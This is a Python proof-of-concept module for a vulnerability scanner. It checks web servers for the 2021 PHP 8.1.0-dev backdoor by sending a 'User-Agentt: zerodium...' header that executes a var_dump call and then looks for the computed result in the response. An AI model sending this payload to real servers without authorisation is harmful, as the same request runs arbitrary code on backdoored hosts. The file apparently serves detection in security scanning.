Files
openx-org f310dd03ff v.1.0
2021-12-21 16:37:18 +08:00

73 lines
2.6 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本默认是1
"CreateDate" : "2021-06-07", # POC创建时间
"UpdateDate" : "2021-06-07", # POC创建时间
"PocDesc" : """
""", # POC描述写更新描述没有就不写
"name" : "php_v8开发版后门", # 漏洞名称
"AppName" : "php", # 漏洞应用名称
"AppVersion" : "PHP 8.1.0-dev 版本", # 漏洞应用版本
"VulnDate" : "2021-03-28", # 漏洞公开的时间,不知道就写今天格式xxxx-xx-xx
"VulnDesc" : """
PHP 8.1.0-dev 版本于 2021 年 3 月 28 日被植入后门但后门很快被发现并移除。当服务器上存在此后门时攻击者可以通过发送User-Agentt标头来执行任意代码。
""", # 漏洞简要描述
"fofa-dork":"", # fofa搜索语句
"example" : "", # 存在漏洞的演示url写一个就可以了
"exp_img" : "", # 先不管
}
# timeout = 10
def _verify(self):
"""
返回vuln
存在漏洞vuln = [True,html_source] # html_source就是页面源码
不存在漏洞vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "/" # url自己按需调整
headers = {"User-Agent":get_random_ua(),
"User-Agentt":"zerodiumvar_dump(133*133);",
"Connection":"close",
# "Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑漏洞存在则修改vuln值漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if req.status_code == 200 and "int(17689)" in req.text:
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()